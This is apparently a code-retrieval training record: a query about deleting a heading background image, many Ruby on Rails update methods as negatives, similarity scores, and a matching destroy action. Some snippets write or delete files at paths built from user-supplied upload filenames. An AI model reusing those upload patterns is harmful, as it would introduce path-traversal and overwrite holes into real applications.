end\n @food_group.update(:updated_by=>session[:kitchen_user_id])\n format.html { redirect_to action: \"index\", notice: 'Food group was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_group }\n else\n format.html { render :edit }\n format.json { render json: @food_group.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @background_type = args[:background_type] if args.key?(:background_type)\n @collage = args[:collage] if args.key?(:collage)\n @cropping = args[:cropping] if args.key?(:cropping)\n @model_type = args[:model_type] if args.key?(:model_type)\n @nfs = args[:nfs] if args.key?(:nfs)\n @object_count = args[:object_count] if args.key?(:object_count)\n @overlay = args[:overlay] if args.key?(:overlay)\n @selfie = args[:selfie] if args.key?(:selfie)\n @text_overlay = args[:text_overlay] if args.key?(:text_overlay)\n @version = args[:version] if args.key?(:version)\n end", "def update\n respond_to do |format|\n if @objective_image.update(objective_image_params)\n format.html { redirect_to @objective_image, notice: 'Objective image was successfully updated.' }\n format.json { render :show, status: :ok, location: @objective_image }\n else\n format.html { render :edit }\n format.json { render json: @objective_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @background_attachment = args[:background_attachment] if args.key?(:background_attachment)\n @background_color_argb = args[:background_color_argb] if args.key?(:background_color_argb)\n @background_gradient_color_stop_argb = args[:background_gradient_color_stop_argb] if args.key?(:background_gradient_color_stop_argb)\n @background_gradient_repeat = args[:background_gradient_repeat] if args.key?(:background_gradient_repeat)\n @background_gradient_type = args[:background_gradient_type] if args.key?(:background_gradient_type)\n @background_image_repeat = args[:background_image_repeat] if args.key?(:background_image_repeat)\n @background_image_url = args[:background_image_url] if args.key?(:background_image_url)\n @background_image_x_pos = args[:background_image_x_pos] if args.key?(:background_image_x_pos)\n @background_image_y_pos = args[:background_image_y_pos] if args.key?(:background_image_y_pos)\n @background_size = args[:background_size] if args.key?(:background_size)\n @background_size_height = args[:background_size_height] if args.key?(:background_size_height)\n @background_size_width = args[:background_size_width] if args.key?(:background_size_width)\n @border_color_argb_bottom = args[:border_color_argb_bottom] if args.key?(:border_color_argb_bottom)\n @border_color_argb_left = args[:border_color_argb_left] if args.key?(:border_color_argb_left)\n @border_color_argb_right = args[:border_color_argb_right] if args.key?(:border_color_argb_right)\n @border_color_argb_top = args[:border_color_argb_top] if args.key?(:border_color_argb_top)\n @border_pixel_width_bottom = args[:border_pixel_width_bottom] if args.key?(:border_pixel_width_bottom)\n @border_pixel_width_left = args[:border_pixel_width_left] if args.key?(:border_pixel_width_left)\n @border_pixel_width_right = args[:border_pixel_width_right] if args.key?(:border_pixel_width_right)\n @border_pixel_width_top = args[:border_pixel_width_top] if args.key?(:border_pixel_width_top)\n @border_style_bottom = args[:border_style_bottom] if args.key?(:border_style_bottom)\n @border_style_left = args[:border_style_left] if args.key?(:border_style_left)\n @border_style_right = args[:border_style_right] if args.key?(:border_style_right)\n @border_style_top = args[:border_style_top] if args.key?(:border_style_top)\n @clip = args[:clip] if args.key?(:clip)\n @direction = args[:direction] if args.key?(:direction)\n @display_prop = args[:display_prop] if args.key?(:display_prop)\n @font_family = args[:font_family] if args.key?(:font_family)\n @font_size = args[:font_size] if args.key?(:font_size)\n @font_style = args[:font_style] if args.key?(:font_style)\n @font_weight = args[:font_weight] if args.key?(:font_weight)\n @foreground_color_argb = args[:foreground_color_argb] if args.key?(:foreground_color_argb)\n @has_background = args[:has_background] if args.key?(:has_background)\n @list_style_image_url = args[:list_style_image_url] if args.key?(:list_style_image_url)\n @list_style_type = args[:list_style_type] if args.key?(:list_style_type)\n @margin_bottom = args[:margin_bottom] if args.key?(:margin_bottom)\n @margin_left = args[:margin_left] if args.key?(:margin_left)\n @margin_right = args[:margin_right] if args.key?(:margin_right)\n @margin_top = args[:margin_top] if args.key?(:margin_top)\n @opacity = args[:opacity] if args.key?(:opacity)\n @overflow_x = args[:overflow_x] if args.key?(:overflow_x)\n @overflow_y = args[:overflow_y] if args.key?(:overflow_y)\n @padding_bottom = args[:padding_bottom] if args.key?(:padding_bottom)\n @padding_left = args[:padding_left] if args.key?(:padding_left)\n @padding_right = args[:padding_right] if args.key?(:padding_right)\n @padding_top = args[:padding_top] if args.key?(:padding_top)\n @position = args[:position] if args.key?(:position)\n @referenced_resource_index = args[:referenced_resource_index] if args.key?(:referenced_resource_index)\n @text_align = args[:text_align] if args.key?(:text_align)\n @text_decoration = args[:text_decoration] if args.key?(:text_decoration)\n @text_shadow_color_argb = args[:text_shadow_color_argb] if args.key?(:text_shadow_color_argb)\n @visibility = args[:visibility] if args.key?(:visibility)\n @z_index = args[:z_index] if args.key?(:z_index)\n end", "def update\n @bwimage = Bwimage.find(params[:id])\n\n respond_to do |format|\n if @bwimage.update_attributes(params[:bwimage])\n format.html { redirect_to @bwimage, notice: 'Bwimage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bwimage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n nombreImagen = SecureRandom.uuid + File.extname(contest_params[:banner].original_filename)\n carpeta = File.join(Rails.public_path, \"uploaded_images\", Time.now.strftime(\"%Y-%m-%d\"))\n rutaAbsoluta = File.join(carpeta, nombreImagen)\n FileUtils.mkdir_p(carpeta)\n File.open(rutaAbsoluta, 'wb') do |f|\n f.write(contest_params[:banner].read)\n end\n \n params[:contest][:banner] = \"/uploaded_images/\" + Time.now.strftime(\"%Y-%m-%d\") + \"/\" + nombreImagen\n params[:contest][:url] = \"http://\" + request.host + \":\" + (request.port.to_s) +\"/contests/join/\" + params[:contest][:url]\n\n respond_to do |format|\n if @contest.update(contest_params)\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { render :show, status: :ok, location: @contest }\n else\n format.html { render :edit }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @featured_image.update(featured_image_params)\n format.html { redirect_to @featured_image, notice: 'Featured image was successfully updated.' }\n format.json { render :show, status: :ok, location: @featured_image }\n else\n format.html { render :edit }\n format.json { render json: @featured_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n if @background.update(background_params)\n format.html { redirect_to [@community, @background], notice: 'Background was successfully updated.' }\n format.json { render :show, status: :ok, location: @background }\n else\n format.html { render :edit }\n format.json { render json: @background.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience_image.update(experience_image_params)\n format.html { redirect_to @experience_image, notice: 'Experience image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @experience_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @variant_image = VariantImage.find(params[:id])\n\n respond_to do |format|\n if @variant_image.update_attributes(params[:variant_image])\n format.html { redirect_to @variant_image, notice: 'Variant image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @variant_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @catebg = Catebg.find(params[:id])\n\n respond_to do |format|\n if @catebg.update_attributes(params[:catebg])\n format.html { redirect_to @catebg, notice: 'Catebg was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catebg.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @image_style = args[:image_style] if args.key?(:image_style)\n @image_url = args[:image_url] if args.key?(:image_url)\n @subtitle = args[:subtitle] if args.key?(:subtitle)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @image_style = args[:image_style] if args.key?(:image_style)\n @image_url = args[:image_url] if args.key?(:image_url)\n @subtitle = args[:subtitle] if args.key?(:subtitle)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @image_style = args[:image_style] if args.key?(:image_style)\n @image_url = args[:image_url] if args.key?(:image_url)\n @subtitle = args[:subtitle] if args.key?(:subtitle)\n @title = args[:title] if args.key?(:title)\n end", "def update\n @image_section = ImageSection.find(params[:id])\n ci = @image_section.combined_image\n\n respond_to do |format|\n if @image_section.update_attribute(:sketchpad_json, params[:drawn_json])\n format.html { redirect_to edit_image_section_path(ci.image_sections.sample), \n notice: 'Image section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_section.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @classfield_image.update(classfield_image_params)\n format.html { redirect_to @classfield_image, notice: 'Classfield image was successfully updated.' }\n format.json { render :show, status: :ok, location: @classfield_image }\n else\n format.html { render :edit }\n format.json { render json: @classfield_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def co_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n #$attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update\n @cookbook = current_cookbook\n\n # Process Paperclip attachments\n @cookbook.process_attachments(params)\n \n if @cookbook.update_attributes_individually params[:cookbook]\n flash[:notice] = 'The template was updated.'\n end\n respond_to do |format|\n format.js { render :update, content_type: \"text/plain\" }\n end\n end", "def update!(**args)\n @style_image_type_predictions = args[:style_image_type_predictions] if args.key?(:style_image_type_predictions)\n @version = args[:version] if args.key?(:version)\n end", "def update \n if @adm_galerias_imagem.update(adm_galerias_imagem_params)\n\t\thead :created \n else\n\t\thead :bad_request\n end \n end", "def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n \tif params[:client][:logo].blank?\n \t\tparams[:client][:logo] = @client.logo\n \telse\n \t\tnew_file_name = upload_file(params[:client][:logo], \"/public/files/logo_files/\")\n\t \tFileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"+@client.logo.to_s]\n\t \tparams[:client][:logo] = new_file_name\n \tend\n\t \tparams[:client][:updated_by] = current_user.id\n @client.attributes = params[:client]\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Finds selected data file\n @image = Image.find(params[:id])\n\n #Components\n #Checks if the data file is attached to any components - if so clears them\n if(!@image.components.nil?)\n @image.components.clear\n end\n #Sets Data Files Components\n if(!params[:component_parent_ids].nil?)\n for id in params[:component_parent_ids]\n @image.components.push(Component.find(id))\n end\n end\n\n #Products\n #Checks if the data file is attached to any products - if so clears them\n if(!@image.products.nil?)\n @image.products.clear\n end\n #Sets Data Files Products\n if(!params[:product_ids].nil?)\n for id in params[:product_ids]\n @image.products.push(Product.find(id))\n end\n end\n\n #Valuefields\n #Checks if the data file is attached to any valuefields - if so clears them\n if(!@image.valuefields.nil?)\n @image.valuefields.clear\n end\n #Sets Data Files Valuefields\n if(!params[:valuefield_ids].nil?)\n for id in params[:valuefield_ids]\n @image.valuefields.push(Valuefield.find(id))\n end\n end\n #creates an array of products\n @all_products = Product.all\n #creates an array of components\n @all_components = Component.all\n #creates an array of valuefields\n @all_valuefields = Valuefield.all\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @head_machine_spec = args[:head_machine_spec] if args.key?(:head_machine_spec)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end", "def update\n respond_to do |format|\n if @sibling_background.update(sibling_background_params)\n format.html { redirect_to @sibling_background, notice: 'Sibling background was successfully updated.' }\n format.json { render :show, status: :ok, location: @sibling_background }\n else\n format.html { render :edit }\n format.json { render json: @sibling_background.errors, status: :unprocessable_entity }\n end\n end\n end", "def image hash = {}\n hash = { :id => hash} if hash.is_a? String\n home hash.update :action => 'image', :trailing_slash => false\n end", "def update\n if @picture.update(picture_params)\n head :no_content\n else\n render json: @picture.errors, status: :unprocessable_entity\n end\n end", "def update\n if !params[\"content_image\"][\"file_upload\"].nil?\n upload_file = params[\"content_image\"][\"file_upload\"]\n file_name_conc = File.join(\"public/uploads/\", upload_file.original_filename)\n File.open(file_name_conc, \"wb\") {|t| t.write(upload_file.read)}\n @content_image.file_name = file_name_conc\n end\n\n\n respond_to do |format|\n if @content_image.update(content_image_params)\n format.html {redirect_to @content_image, notice: 'Content image was successfully updated.'}\n format.json {render :show, status: :ok, location: @content_image}\n else\n format.html {render :edit}\n format.json {render json: @content_image.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n @item.images.delete_all\n unless params.require(:item)[:images_id].nil?\n params.require(:item)[:images_id].each do |id|\n image = Image.find_by_id(id)\n (@item.images << image) unless image.nil?\n end\n end\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wild_type_background.update(wild_type_background_params)\n format.html { redirect_to @wild_type_background, notice: \"Wild type background was successfully updated.\" }\n format.json { render :show, status: :ok, location: @wild_type_background }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @wild_type_background.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image_reference.update_attributes image_reference_params\n format.html { redirect_to @image_reference, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_reference.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @animations = args[:animations] if args.key?(:animations)\n @image = args[:image] if args.key?(:image)\n end", "def update\n puts y params['photo'].keys\n params['photo'].keys.each do |photo_id|\n photo = Photo.find(photo_id)\n photo.update_attributes(params['photo'][photo_id])\n end\n respond_to do |format|\n if true \n format.html { redirect_to photos_path, notice: 'Photos were successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"index\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if session[:user_id] == nil\n redirect_to \"/login\"\n else\n\t \n\t @venue = Venue.find(params[:id]) if User.find(session[:user_id]).is_admin\n\t background_image = params[:venue][:background_image]\n\t background_image_path = Rails.root.join('public', 'venues', @venue.id.to_s)\n\t Dir.mkdir(background_image_path) unless File.directory? background_image_path\n\t if background_image != nil\n\t File.delete(File.join(background_image_path, @venue.background_image)) if File.exist?(File.join(background_image_path, @venue.background_image))\n\t File.open(Rails.root.join('public', 'venues', @venue.id.to_s, background_image.original_filename), 'wb') do |file|\n\t\tfile.write(background_image.read)\n\t\tparams[:venue][:background_image] = background_image.original_filename\n\t end\n\t end\n\n\t respond_to do |format|\n\t if @venue.update_attributes(params[:venue])\n\t\tflash[:notice] = 'Venue was successfully updated.' \n\t\tformat.html { redirect_to(@venue) }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n\t end\n\t end\n end\n end", "def index\n @heading_bg_images = HeadingBgImage.all\n end", "def update!(**args)\n @stable_image = args[:stable_image] if args.key?(:stable_image)\n @target_image = args[:target_image] if args.key?(:target_image)\n end", "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # If class to use json\n # if params[:image]\n # params[:image] = decode_base64\n # end\n respond_to do |format|\n if @post_img.update(post_img_params)\n format.html { redirect_to @post_img, notice: 'Post img was successfully updated.' }\n format.json { render :show, status: :ok, location: @post_img }\n else\n format.html { render :edit }\n format.json { render json: @post_img.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @img = Img.find(params[:id])\n\n respond_to do |format|\n if @img.update_attributes(params[:img])\n format.html { redirect_to(@img, :notice => 'Img was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @img.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n params = image_params\n params[\"tags\"] = params[\"tags\"].delete_suffix(',')\n\n respond_to do |format|\n if @image.update(params)\n format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @imagedemo.update(imagedemo_params)\n format.html { redirect_to @imagedemo, notice: 'Imagedemo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @imagedemo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @checkin_background.update(checkin_background_params)\n format.html { redirect_to @checkin_background, notice: 'Checkin background was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @checkin_background.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @background_annoncment.update(background_annoncment_params)\n format.html { redirect_to @background_annoncment, notice: 'Background annoncment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @background_annoncment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @background_color = args[:background_color] if args.key?(:background_color)\n @header_theme = args[:header_theme] if args.key?(:header_theme)\n @landscape_background_image_url = args[:landscape_background_image_url] if args.key?(:landscape_background_image_url)\n @logo_url = args[:logo_url] if args.key?(:logo_url)\n @mask_color = args[:mask_color] if args.key?(:mask_color)\n @portrait_background_image_url = args[:portrait_background_image_url] if args.key?(:portrait_background_image_url)\n @primary_color = args[:primary_color] if args.key?(:primary_color)\n end", "def update\n\n post = Post.find(params[:post][:id])\n post.body = params[:post][:body]\n\n # //location\n post.location.name = params[:post][:location][:name]\n post.location.lat = params[:post][:location][:lat]\n post.location.long = params[:post][:location][:long]\n # images\n for new_img in params[:post][:images]\n flag = 0\n for old_img in post.images\n if old_img.id == new_img[:id]\n flag = 1\n break\n end\n end\n if flag == 0\n img = Image.find new_img[:id]\n img.update_attributes(post_id: post.id, active: 1)\n end\n end\n\n for old_img in post.images\n flag = 0\n for new_img in params[:post][:images]\n if old_img.id == new_img[:id]\n flag = 1\n break\n end\n end\n if flag == 0\n old_img.destroy\n end\n end\n\n if post.save\n render json: {\n status: \"success\",\n data: post.as_json(\n include: [\n {\n user:\n {\n only: [:id, :name, :avatar]\n }\n },\n :location,\n {\n images: {\n only: [:id, :src]\n }\n },\n :rates\n ])}, status: :ok\n else\n render json: post.errors, status: 404\n end\n\n end", "def update\n respond_to do |format|\n if @home_image.update(home_image_params)\n format.html { redirect_to home_images_path, notice: 'Home image was successfully updated.' }\n format.json { render :show, status: :ok, location: @home_image }\n else\n format.html { render :edit }\n format.json { render json: @home_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @case.update(case_params)\n params[:case_attachments]['photo'].each do |a|\n @case_attachment = @case.case_attachments.create!(:photo => a, :case_id => @case.id)\n end\n format.html { redirect_to admin_cases_path, notice: \"Caso Clínico (#{@case.title}), alterado com sucesso!\" }\n format.json { render :show, status: :ok, location: [:admin, @case] }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @idea = Idea.find(params[:id])\n @idea.name = params[:name]\n @idea.description = params[:description]\n repo_path = \"#{Rails.root}/public/data/repository/#{current_user.id}/#{@idea.name}\"\n cover_img_path = \"/data/repository/#{current_user.id}/#{@idea.name}\"\n\n if params[:cover_img]\n @idea.cover_img = params[:cover_img]\n DataFile.save(params[:cover_img], cover_img_path)\n\t\t\t@git = GitHelper.init(repo_path, current_user.email, current_user.name)\n\t\t\tGitHelper.commitAll(@git, \"Changed cover image.\")\n end\n\n if @idea.save\n\t\t\trender json: @idea\n\t\telse\n\t\t\trender json: {error: \"Failed to update idea\"}, status: :unauthorized\n end\n end", "def destroy\n @heading_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to heading_bg_images_url, notice: 'Heading bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n if @sample_photo.update(sample_photo_params)\n render json: @sample_photo, status: :ok\n else\n render json: @sample_photo.errors, status: :unprocessable_entity\n end\n end", "def update\n @family_background = FamilyBackground.find(params[:id])\n\n respond_to do |format|\n if @family_background.update_attributes(params[:family_background])\n format.html { redirect_to(@family_background, :notice => 'Family background was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family_background.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @estate_agent_image = EstateAgentsImage.find(params[:id])\n\n respond_to do |format|\n if @estate_agent_image.update_attributes(params[:property_image])\n format.html { redirect_to @estate_agent_image, notice: 'Property image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estate_agent_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category_image = CategoryImage.find(params[:id])\n\n respond_to do |format|\n if @category_image.update_attributes(params[:category_image])\n format.html { redirect_to @category_image, notice: 'Category image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @adoption = Adoption.find(params[:id])\n @races = Race.all\n respond_to do |format|\n if params[:images_attributes]\n if params[:images_attributes]['image'].length <= 10\n if @pet.update(pet_params)\n if params[:images_attributes]\n params[:images_attributes]['image'].each do |a|\n @image_attachment = @pet.images.create!(:picture => a, :name => @pet.name)\n end\n \n format.html { redirect_to admin_pets_path}\n format.json { render :show, status: :ok, location: @pet }\n end\n \n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n else\n flash.now[:danger] = \"El Producto debe tener un máximo de 10 imágenes\"\n # @user = Role.all\n render 'edit'\n end\n else\n if @pet.update(pet_params)\n flash[:success] = \"Producto Actualizado exitosamente\"\n format.html { redirect_to admin_pets_path}\n format.json { render :show, status: :ok, location: @pet }\n else\n flash[:warnig] = \"Producto no Actualizado\"\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update!(**args)\n @image_alt_text = args[:image_alt_text] if args.key?(:image_alt_text)\n @image_style = args[:image_style] if args.key?(:image_style)\n @image_url = args[:image_url] if args.key?(:image_url)\n @subtitle = args[:subtitle] if args.key?(:subtitle)\n @title = args[:title] if args.key?(:title)\n end", "def update\n @album = Album.find(params[:id])\n \n respond_to do |format|\n if @album.update_attributes(params[:album])\n @album.images.clear\n @album.images << Image.find([params[:images]].flatten)\n @album.save!\n format.html { redirect_to(albums_path, :notice => 'Album was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @web_car_gallery = WebCarGallery.find(params[:id])\n\n if @web_car_gallery.update(web_car_gallery_params)\n head :no_content\n else\n render json: @web_car_gallery.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @discretized_style_image_type_confidence = args[:discretized_style_image_type_confidence] if args.key?(:discretized_style_image_type_confidence)\n @style_image_type = args[:style_image_type] if args.key?(:style_image_type)\n end", "def update\n if params[:image].try(:original_filename) == 'blob'\n params[:image].original_filename << '.png'\n end\n if params[:raw_image].try(:original_filename) == 'blob'\n params[:raw_image].original_filename << '.png'\n end\n\n @meme = Meme.find(params[:id])\n @meme.user = current_user\n\n respond_to do |format|\n if @meme.update_attributes(image: params[:image], imgur_url: params[:imgur_url], deletehash: params[:deletehash], colour: params[:colour], copied_image: params[:copied_image], raw_image: params[:raw_image], top_line: params[:top_line], bottom_line: params[:bottom_line], article: params[:article], category_ids: params[:category_ids].split(','))\n format.html { redirect_to @meme, notice: 'Meme was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @meme.errors, status: :unprocessable_entity }\n end\n end\n end", "def ti_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @recipe_image.update(recipe_image_params)\n format.html { redirect_to @recipe_image, notice: 'Recipe image was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe_image }\n else\n format.html { render :edit }\n format.json { render json: @recipe_image.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7140328", "0.6984076", "0.65215087", "0.6396768", "0.62812066", "0.62448156", "0.62393636", "0.61540604", "0.608948", "0.60528225", "0.59571034", "0.5954023", "0.5947635", "0.5944986", "0.5939279", "0.59181815", "0.5906304", "0.59062713", "0.5894343", "0.5874175", "0.58734834", "0.5861473", "0.585964", "0.58583766", "0.58560365", "0.5851943", "0.5825494", "0.5811004", "0.5808452", "0.5794061", "0.57716405", "0.57682264", "0.5766759", "0.57523423", "0.5751666", "0.57494247", "0.5741404", "0.5734249", "0.5730995", "0.57291245", "0.57291245", "0.57291245", "0.5701159", "0.5694338", "0.5687276", "0.56698626", "0.5656599", "0.56526023", "0.56464237", "0.5645673", "0.56422544", "0.56398964", "0.56327814", "0.5629107", "0.5627073", "0.56265664", "0.56242275", "0.5622096", "0.5616926", "0.5614021", "0.56121176", "0.5610265", "0.5608606", "0.560761", "0.5605907", "0.5604691", "0.5601474", "0.5600867", "0.55996644", "0.5596453", "0.5594495", "0.55923253", "0.55902773", "0.558907", "0.558907", "0.558907", "0.558907", "0.55873567", "0.55856323", "0.5584053", "0.55836046", "0.55828637", "0.55811137", "0.5580721", "0.5577992", "0.5576501", "0.5575471", "0.55700684", "0.5569637", "0.5567547", "0.55663884", "0.5564633", "0.5564406", "0.5564406", "0.5564406", "0.5564406", "0.5564406", "0.5564406", "0.5564406", "0.55642855" ]
0.7552205
0
DELETE /heading_bg_images/1 DELETE /heading_bg_images/1.json
def destroy @heading_bg_image.destroy respond_to do |format| format.html { redirect_to heading_bg_images_url, notice: 'Heading bg image was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
